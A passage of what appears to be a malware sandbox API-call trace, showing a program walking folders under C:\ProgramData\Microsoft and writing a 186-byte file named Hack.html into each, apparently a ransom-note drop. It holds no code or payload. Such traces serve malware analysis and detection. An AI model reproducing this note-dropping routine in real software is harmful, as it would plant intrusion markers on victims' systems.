hFindFile=0x59a768) returned 1 [0070.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0070.896] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x44 [0070.896] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", lpFilePart=0x0) returned 0x45 [0070.896] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0070.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.896] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0070.897] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0070.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0070.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0070.897] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode", lpFilePart=0x0) returned 0x44 [0070.897] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\", lpFilePart=0x0) returned 0x45 [0070.897] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a768 [0070.897] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.897] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0070.897] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0070.898] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html", lpFilePart=0x0) returned 0x4e [0070.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0070.898] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Hack.html" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\applicationviewsrootnode\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.898] GetFileType (hFile=0x258) returned 0x1 [0070.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0070.898] GetFileType (hFile=0x258) returned 0x1 [0070.899] WriteFile (in: hFile=0x258, lpBuffer=0x27d9418*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27d9418*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0070.901] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\Hack.html", lpFilePart=0x0) returned 0x35 [0070.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.901] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\Hack.html" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.902] GetFileType (hFile=0x258) returned 0x1 [0070.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.902] GetFileType (hFile=0x258) returned 0x1 [0070.902] WriteFile (in: hFile=0x258, lpBuffer=0x27dbbf0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27dbbf0*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.903] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x2f [0070.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.903] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\programdata\\microsoft\\event viewer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.904] GetFileType (hFile=0x258) returned 0x1 [0070.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.904] GetFileType (hFile=0x258) returned 0x1 [0070.904] WriteFile (in: hFile=0x258, lpBuffer=0x27de3b0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27de3b0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.905] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0070.905] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\", lpFilePart=0x0) returned 0x25 [0070.905] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.906] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.906] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.906] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.906] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.906] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.907] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0070.907] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\", lpFilePart=0x0) returned 0x25 [0070.907] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.907] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.907] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.907] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.907] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.908] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.908] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\Hack.html", lpFilePart=0x0) returned 0x2e [0070.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.908] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\Hack.html" (normalized: "c:\\programdata\\microsoft\\identitycrl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.909] GetFileType (hFile=0x258) returned 0x1 [0070.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.909] GetFileType (hFile=0x258) returned 0x1 [0070.909] WriteFile (in: hFile=0x258, lpBuffer=0x27e22b4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27e22b4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.910] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x25 [0070.910] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x26 [0070.911] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.911] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.911] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.911] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x25 [0070.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player\\", lpFilePart=0x0) returned 0x26 [0070.912] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.912] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.912] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.912] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player\\Hack.html", lpFilePart=0x0) returned 0x2f [0070.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.913] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\Hack.html" (normalized: "c:\\programdata\\microsoft\\media player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.913] GetFileType (hFile=0x258) returned 0x1 [0070.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.913] GetFileType (hFile=0x258) returned 0x1 [0070.913] WriteFile (in: hFile=0x258, lpBuffer=0x27e5c30*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27e5c30*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.914] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0070.914] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\", lpFilePart=0x0) returned 0x1c [0070.914] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.915] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.915] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.916] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0070.916] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\", lpFilePart=0x0) returned 0x1c [0070.916] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.916] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.916] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.917] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.917] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\Hack.html", lpFilePart=0x0) returned 0x25 [0070.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.917] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Hack.html" (normalized: "c:\\programdata\\microsoft\\mf\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.918] GetFileType (hFile=0x258) returned 0x1 [0070.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.918] GetFileType (hFile=0x258) returned 0x1 [0070.918] WriteFile (in: hFile=0x258, lpBuffer=0x27e9804*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27e9804*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.921] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN", lpFilePart=0x0) returned 0x1d [0070.921] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\", lpFilePart=0x0) returned 0x1e [0070.921] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.925] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.926] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.926] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN", lpFilePart=0x0) returned 0x1d [0070.926] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\", lpFilePart=0x0) returned 0x1e [0070.926] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.926] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.926] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.927] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0070.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0070.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\8.0", lpFilePart=0x0) returned 0x21 [0070.927] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\", lpFilePart=0x0) returned 0x22 [0070.927] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.927] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.928] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.928] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0070.928] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\8.0", lpFilePart=0x0) returned 0x21 [0070.928] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\", lpFilePart=0x0) returned 0x22 [0070.928] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0070.928] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0070.929] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0070.929] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0070.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0070.929] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\Hack.html", lpFilePart=0x0) returned 0x2b [0070.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0070.929] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\Hack.html" (normalized: "c:\\programdata\\microsoft\\msdn\\8.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.929] GetFileType (hFile=0x258) returned 0x1 [0070.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0070.929] GetFileType (hFile=0x258) returned 0x1 [0070.930] WriteFile (in: hFile=0x258, lpBuffer=0x27ee294*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27ee294*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0070.931] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MSDN\\Hack.html", lpFilePart=0x0) returned 0x27 [0070.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0070.931] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\Hack.html" (normalized: "c:\\programdata\\microsoft\\msdn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.931] GetFileType (hFile=0x258) returned 0x1 [0070.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0070.931] GetFileType (hFile=0x258) returned 0x1 [0070.931] WriteFile (in: hFile=0x258, lpBuffer=0x27f0a34*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27f0a34*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0070.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0070.933] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0070.933] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\", lpFilePart=0x0) returned 0x26 [0070.933] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a768 [0070.935] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.935] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0070.935] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0070.935] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0070.936] SetThreadErrorMode (dwNewMode=0x0, 